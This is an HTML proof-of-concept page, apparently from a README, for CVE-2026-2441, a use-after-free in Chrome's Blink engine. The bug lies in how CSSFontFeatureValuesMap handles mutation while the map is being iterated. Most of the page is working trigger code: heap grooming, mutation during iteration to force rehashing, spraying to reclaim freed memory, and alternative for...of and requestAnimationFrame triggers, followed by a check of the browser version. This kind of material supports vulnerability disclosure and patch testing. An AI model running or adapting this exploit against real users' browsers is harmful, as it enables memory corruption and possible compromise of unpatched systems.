README.md
Rendering markdown...
<!DOCTYPE html>
<!--
CVE-2026-2441 — CSSFontFeatureValuesMap Iterator Invalidation (UAF) PoC
Vulnerability: Blink CSS engine, third_party/blink/renderer/core/css/css_font_feature_values_map.cc
Root cause: FontFeatureValuesMapIterationSource held a raw pointer to the FontFeatureAliases
HashMap (const FontFeatureAliases* aliases_). When the map is mutated during
iteration (set/delete), the HashMap rehashes, the old storage is freed, and the
pointer becomes dangling → Use-After-Free.
Fix: const FontFeatureAliases* aliases_ → const FontFeatureAliases aliases_ (deep copy)
Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c
Target: Chrome <= 144.0.x (all versions prior to 145.0.7632.75)
Expected result (unpatched): Renderer process crash (SIGSEGV / heap corruption)
Expected result (patched): No crash, test passes normally
-->
<html>
<head>
<meta charset="utf-8">
<title>CVE-2026-2441 PoC — CSSFontFeatureValuesMap UAF</title>
<style>
body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
#log { white-space: pre; font-size: 13px; }
.ok { color: #0f0; }
.warn { color: #ff0; }
.fail { color: #f44; }
.info { color: #08f; }
</style>
<!--
@font-feature-values at-rule: CSS Fonts Level 4 specification.
This rule creates a CSSFontFeatureValuesRule CSSOM object.
rule.styleset → CSSFontFeatureValuesMap (HashMap wrapper)
The vulnerability is triggered by the iteration + mutation combination on this Map.
-->
<style id="target-style">
@font-feature-values VulnTestFont {
@styleset {
entry_a: 1;
entry_b: 2;
entry_c: 3;
entry_d: 4;
entry_e: 5;
entry_f: 6;
entry_g: 7;
entry_h: 8;
}
}
</style>
</head>
<body>
<h2>CVE-2026-2441 — CSSFontFeatureValuesMap UAF PoC</h2>
<div id="log"></div>
<script>
"use strict";
const log = document.getElementById("log");
function print(msg, cls = "") {
const span = document.createElement("span");
span.className = cls;
span.textContent = msg + "\n";
log.appendChild(span);
}
print("[*] CVE-2026-2441 PoC starting...", "info");
print("[*] Target: CSSFontFeatureValuesMap iterator invalidation (UAF)", "info");
print("[*] Blink source: css_font_feature_values_map.cc", "info");
print("");
// ─── 1. Obtain the CSSOM object ──────────────────────────────────────────────
const sheet = document.getElementById("target-style").sheet;
if (!sheet || sheet.cssRules.length === 0) {
print("[!] ERROR: @font-feature-values rule not found.", "fail");
throw new Error("CSS rule not found");
}
const rule = sheet.cssRules[0];
print("[+] CSSFontFeatureValuesRule found: " + rule.fontFamily, "ok");
// CSSFontFeatureValuesMap object
// In Blink, this object is a CSSOM wrapper around the FontFeatureAliases HashMap.
const map = rule.styleset;
if (!map) {
print("[!] ERROR: rule.styleset is not accessible. Browser may not support this API.", "fail");
throw new Error("styleset not available");
}
print("[+] CSSFontFeatureValuesMap obtained. Size: " + map.size, "ok");
print("");
// ─── 2. Heap Grooming ────────────────────────────────────────────────────────
// Goal: Bring the heap into a predictable state.
// By creating multiple @font-feature-values rules, we allocate same-sized
// FontFeatureAliases objects. This facilitates memory reclaim after the UAF.
print("[*] Starting heap grooming...", "info");
const groomRules = [];
const groomStyle = document.createElement("style");
document.head.appendChild(groomStyle);
for (let i = 0; i < 50; i++) {
groomStyle.sheet.insertRule(
`@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,
groomStyle.sheet.cssRules.length
);
groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);
}
print("[+] " + groomRules.length + " groom objects created.", "ok");
// ─── 3. UAF Trigger — Iterator Invalidation ─────────────────────────────────
//
// Vulnerability mechanism (unpatched Blink):
//
// When CreateIterationSource() is called:
// FontFeatureValuesMapIterationSource(map, aliases_)
// → aliases_ (raw pointer) points to the internal HashMap
// → iterator_ = aliases_->begin()
//
// When FetchNextItem() is called:
// → iterator_->key is read
//
// If map.delete() or map.set() is called in between:
// → HashMap rehashes (new allocation, old storage freed)
// → aliases_ now points to freed memory (dangling pointer)
// → iterator_ is also invalidated
// → Next FetchNextItem() → USE-AFTER-FREE → CRASH
//
print("[*] Starting UAF trigger...", "info");
print("[*] Strategy: iterator.next() + map.delete() + map.set() x N (force rehash)", "info");
print("");
let crashDetected = false;
let iterationCount = 0;
try {
// Create iterator — at this point Blink creates an IterationSource with a raw pointer
const iterator = map.entries();
let step = 0;
while (step < 20) {
// iterator.next() → FetchNextItem() call
// Unpatched Blink: reads through dangling pointer
const result = iterator.next();
if (result.done) {
print(" [.] Iterator exhausted (step=" + step + ")", "warn");
break;
}
const [key, value] = result.value;
iterationCount++;
print(" [>] Entry: " + key + " = " + JSON.stringify(value) + " (step=" + step + ")", "ok");
// ── MUTATION: Modify the HashMap ─────────────────────────────────────
// This triggers a HashMap rehash.
// In unpatched Blink, the aliases_ pointer becomes dangling after this.
// Delete the current key
map.delete(key);
// Add many new keys → force rehash
// WTF::HashMap default load factor ~0.75; 512+ entries will definitely trigger rehash
// Each set() call potentially reallocates internal storage
for (let i = 0; i < 512; i++) {
map.set("spray_" + step + "_" + i, [i, i + 1, i + 2]);
}
// Also modify groom objects — fill the freed memory
for (let g = 0; g < groomRules.length; g++) {
try {
groomRules[g].styleset.set("reclaim_" + step + "_" + g, [step]);
} catch(e) {}
}
step++;
}
print("");
print("[+] Iteration completed (" + iterationCount + " entries processed).", "ok");
} catch (e) {
crashDetected = true;
print("[!] EXCEPTION caught: " + e.message, "fail");
print("[!] This may be the UAF manifesting at the JavaScript layer.", "fail");
}
// ─── 4. Results ──────────────────────────────────────────────────────────────
print("");
print("─".repeat(60), "info");
print("[*] RESULTS:", "info");
const ua = navigator.userAgent;
const chromeMatch = ua.match(/Chrome\/([\d.]+)/);
const chromeVersion = chromeMatch ? chromeMatch[1] : "unknown";
print("[*] Chrome version: " + chromeVersion, "info");
// Version comparison
// Dev/Canary builds have build number 0: 145.0.0.0
// In that case major.minor is not enough, full build number is required.
function parseVersion(v) {
const parts = v.split(".").map(Number);
return {
major: parts[0] || 0,
minor: parts[1] || 0,
build: parts[2] || 0,
patch: parts[3] || 0,
isDevBuild: (parts[2] === 0 && parts[3] === 0)
};
}
function isVulnerable(vStr) {
const v = parseVersion(vStr);
// Dev/Canary build (x.x.0.0): receives upstream fix early, considered safe
if (v.isDevBuild) return false;
// major < 145 → definitely vulnerable
if (v.major < 145) return true;
// major > 145 → patched
if (v.major > 145) return false;
// major === 145: check build number
if (v.build < 7632) return true;
if (v.build > 7632) return false;
// build === 7632: check patch
return v.patch < 75;
}
if (chromeMatch) {
const v = parseVersion(chromeVersion);
if (v.isDevBuild) {
print("[?] Dev/Canary build detected (" + chromeVersion + ").", "warn");
print("[?] Dev builds receive upstream fixes early — likely PATCHED.", "warn");
print("[?] Use stable/beta channel (<= 144.0.x) for accurate testing.", "warn");
} else if (isVulnerable(chromeVersion)) {
print("[!] THIS VERSION IS VULNERABLE! (" + chromeVersion + " < 145.0.7632.75)", "fail");
print("[!] Renderer crash expected — if no crash occurred, sandbox or other", "fail");
print("[!] mitigations may have altered the trigger conditions.", "fail");
} else {
print("[+] This version is patched. (" + chromeVersion + " >= 145.0.7632.75)", "ok");
print("[+] No crash expected — the fix prevents iterator invalidation.", "ok");
}
} else {
print("[?] Chrome version could not be detected.", "warn");
}
if (crashDetected) {
print("[!] Exception detected — UAF was partially triggered.", "fail");
} else {
print("[+] No exception — either patched version, or the crash killed the renderer", "ok");
print(" (if the renderer crashed, this line would never execute).", "ok");
}
print("");
print("[*] Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c", "info");
print("[*] Diff: css_font_feature_values_map.cc", "info");
print("[*] Fix: const FontFeatureAliases* → const FontFeatureAliases (deep copy)", "info");
print("─".repeat(60), "info");
// ─── 5. Alternative trigger via for...of ─────────────────────────────────────
// Some Blink versions use a different code path for for...of iteration.
print("");
print("[*] Alternative trigger: for...of + concurrent mutation...", "info");
try {
// Retry with a fresh map
const style2 = document.createElement("style");
document.head.appendChild(style2);
style2.sheet.insertRule(
`@font-feature-values AltFont {
@styleset { x1: 10; x2: 20; x3: 30; x4: 40; x5: 50; }
}`, 0
);
const rule2 = style2.sheet.cssRules[0];
const map2 = rule2.styleset;
let altCount = 0;
for (const [k, v] of map2) {
altCount++;
// Mutation during iteration
map2.delete(k);
for (let i = 0; i < 512; i++) {
map2.set("alt_" + altCount + "_" + i, [i, i]);
}
if (altCount >= 5) break;
}
print("[+] for...of completed (" + altCount + " iterations).", "ok");
} catch(e) {
print("[!] for...of exception: " + e.message, "fail");
}
// ─── 6. Async trigger via requestAnimationFrame ──────────────────────────────
// Forces layout recalculation via offsetWidth inside a rAF loop,
// re-triggering the CSS engine.
print("");
print("[*] Starting rAF + layout recalc trigger...", "info");
const style3 = document.createElement("style");
document.head.appendChild(style3);
style3.sheet.insertRule(
`@font-feature-values RafFont {
@styleset { r1: 1; r2: 2; r3: 3; r4: 4; r5: 5; }
}`, 0
);
const rule3 = style3.sheet.cssRules[0];
const map3 = rule3.styleset;
let rafCount = 0;
let rafIterator = map3.entries();
function rafTrigger() {
if (rafCount >= 10) {
print("[+] rAF trigger completed (" + rafCount + " frames).", "ok");
print("");
print("[*] PoC finished. See results above.", "info");
print("");
print("[*] SUMMARY:", "info");
print("[*] Vulnerable : Chrome <= 144.x (stable) or < 145.0.7632.75", "info");
print("[*] Patched : Chrome >= 145.0.7632.75 (stable)", "info");
print("[*] Dev build : e.g. 145.0.0.0 — receives upstream fix early", "info");
print("[*] No crash : Version is patched OR renderer silently crashed", "info");
print("[*] Crash : UAF successfully triggered", "info");
return;
}
// Force layout recalc — re-trigger CSS engine
void document.body.offsetWidth;
// Iterator step
const result = rafIterator.next();
if (!result.done) {
const [k] = result.value;
map3.delete(k);
for (let i = 0; i < 512; i++) {
map3.set("raf_" + rafCount + "_" + i, [rafCount, i]);
}
}
rafCount++;
requestAnimationFrame(rafTrigger);
}
requestAnimationFrame(rafTrigger);
</script>
</body>
</html>